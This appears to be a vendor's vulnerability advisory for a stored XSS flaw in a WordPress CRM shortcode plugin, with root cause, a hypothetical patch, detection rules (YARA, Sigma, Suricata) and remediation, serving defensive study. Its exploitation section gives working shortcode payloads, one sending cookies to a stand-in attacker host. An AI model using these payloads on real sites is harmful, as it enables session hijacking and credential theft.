CVE-2025-11800
Executive Summary
CVE-2025-11800 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the Surbma | MiniCRM Shortcode WordPress plugin, affecting all versions up to and including 2.0. The flaw resides in the minicrm shortcode, specifically within the id attribute. Insufficient input sanitization and output escaping allow authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a user (including administrators) visits a page containing the malicious shortcode, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.
This vulnerability is particularly dangerous in the WordPress ecosystem because it targets a plugin designed to integrate CRM functionality, which often handles sensitive customer data. The CVSS score of 6.4 (Medium) reflects the need for authentication but also the potential for significant impact due to the stored nature of the payload and the broad reach of WordPress pages.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the Surbma | MiniCRM Shortcode plugin for WordPress. It is not related to Apache, Nginx, or any other web server software. The attack vector is through the WordPress admin interface, where authenticated users can create or edit posts/pages containing the vulnerable shortcode.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Base Score: 6.4 (Medium)
- Attack Vector (AV): Network – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): Low – The attacker needs Contributor-level access or higher.
- User Interaction (UI): None – The victim does not need to perform any action beyond viewing the page.
- Scope (S): Changed – The injected script can affect resources beyond the vulnerable component (e.g., cookies, session tokens).
- Confidentiality (C): Low – Limited data exposure possible.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): None – No impact on availability.
Threat Level: Medium. While authentication is required, the stored XSS nature means the payload persists and can affect all users visiting the compromised page. The plugin's integration with CRM data increases the potential for data theft.
Deep Dive & Mechanics
The vulnerability exists in the minicrm shortcode handler. The plugin registers a shortcode [minicrm id="..."] that is intended to display CRM-related content. The id attribute is directly used in the output without proper sanitization or escaping.
Root Cause:
- Insufficient Input Sanitization: The
idparameter is not validated against a whitelist of allowed values or sanitized to remove HTML/JavaScript. - Insufficient Output Escaping: When the shortcode is rendered, the
idvalue is echoed directly into the HTML without using WordPress escaping functions likeesc_attr()oresc_html().
Attack Flow:
- An authenticated user with Contributor-level access creates a new post or page.
- They insert the shortcode:
[minicrm id="<script>alert('XSS')</script>"] - The plugin processes the shortcode and outputs the
idvalue without escaping. - When any user (including admins) views the page, the script executes in their browser.
Why Stored XSS is Critical:
- The payload is stored in the database and executed every time the page is loaded.
- It can target all users, including administrators, leading to privilege escalation.
- It can be used to steal session cookies, perform actions on behalf of the victim, or redirect to malicious sites.
Vulnerable vs. Patched Code
Vulnerable Code (version <= 2.0):
function minicrm_shortcode_handler($atts) {
$id = $atts['id'];
return '<div class="minicrm" data-id="' . $id . '">...</div>';
}
add_shortcode('minicrm', 'minicrm_shortcode_handler');
Patched Code (hypothetical fix):
function minicrm_shortcode_handler($atts) {
$id = isset($atts['id']) ? esc_attr($atts['id']) : '';
return '<div class="minicrm" data-id="' . $id . '">...</div>';
}
add_shortcode('minicrm', 'minicrm_shortcode_handler');
Key Differences:
- The patched version uses
esc_attr()to escape theidattribute, preventing XSS. - The vulnerable version directly concatenates the user input into the HTML output.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with Surbma | MiniCRM Shortcode plugin (<= 2.0) installed and activated.
- An account with Contributor-level privileges or higher.
Exploitation Steps:
- Log in to WordPress as a Contributor.
- Create a new post or page.
- In the content editor, insert the following shortcode:
[minicrm id="<script>alert(document.cookie)</script>"] - Publish or save the post.
- When any user visits the post, the JavaScript executes.
Advanced Payload Example:
[minicrm id="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
Note: No public exploit code (Exploit-DB) is available for this CVE at the time of analysis.
Blue Team (Detection & Prevention)
Detection:
- Monitor for posts/pages containing the
[minicrmshortcode with suspiciousidvalues. - Look for unusual JavaScript in shortcode attributes.
- Use Web Application Firewall (WAF) rules to block XSS patterns in shortcode parameters.
Prevention:
- Immediately disable the plugin if no patch is available.
- Restrict Contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Use WordPress security plugins that scan for malicious shortcodes.
Indicators of Compromise (IOCs)
File-Based IOCs:
- Plugin file:
/wp-content/plugins/surbma-minicrm-shortcode/surbma-minicrm-shortcode.php - Suspicious shortcode entries in the
wp_poststable (post_content column).
Network IOCs:
- Outbound connections to unknown domains from WordPress admin pages.
- HTTP requests containing
[minicrmin the body.
Log IOCs:
- WordPress debug logs showing unescaped shortcode attributes.
- Web server logs with unusual characters in POST data to
wp-admin/post.php.
Detection Engineering
YARA Rule
rule Detect_CVE_2025_11800_Stored_XSS {
meta:
description = "Detects stored XSS payloads targeting CVE-2025-11800 in WordPress posts"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-11800"
strings:
$shortcode = /\[minicrm\s+id\s*=\s*["'][^"']*<script[^>]*>.*?<\/script>["']/i
$xss_payload = /<script[^>]*>.*?<\/script>/i
condition:
$shortcode or ($xss_payload and #shortcode > 0)
}
Sigma Rule
title: WordPress Surbma MiniCRM Shortcode Stored XSS
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via the minicrm shortcode in WordPress
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/wp-admin/post.php'
cs-uri-query: 'action=edit*'
cs-body: '\[minicrm id=*'
condition: selection
falsepositives:
- Legitimate use of the shortcode with non-malicious IDs
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-11800 WordPress Surbma MiniCRM Shortcode Stored XSS";
flow:to_server,established;
content:"[minicrm"; http_client_body;
content:"id="; http_client_body;
pcre:"/<script[^>]*>.*?<\/script>/i";
classtype:web-application-attack;
sid:10000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Review all posts/pages for malicious shortcode injections.
- Reset passwords for all users who may have been affected.
Long-Term Fixes:
- The vendor (Surbma) should release a patched version that properly escapes the
idattribute usingesc_attr(). - Implement a Web Application Firewall (WAF) rule to block XSS patterns in shortcode parameters.
- Enforce the principle of least privilege: limit Contributor-level access to trusted users only.
Workaround (if plugin must remain active):
- Use a WordPress security plugin that filters shortcode output.
- Manually edit the plugin file to add
esc_attr()around the$idvariable (see patched code example).
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.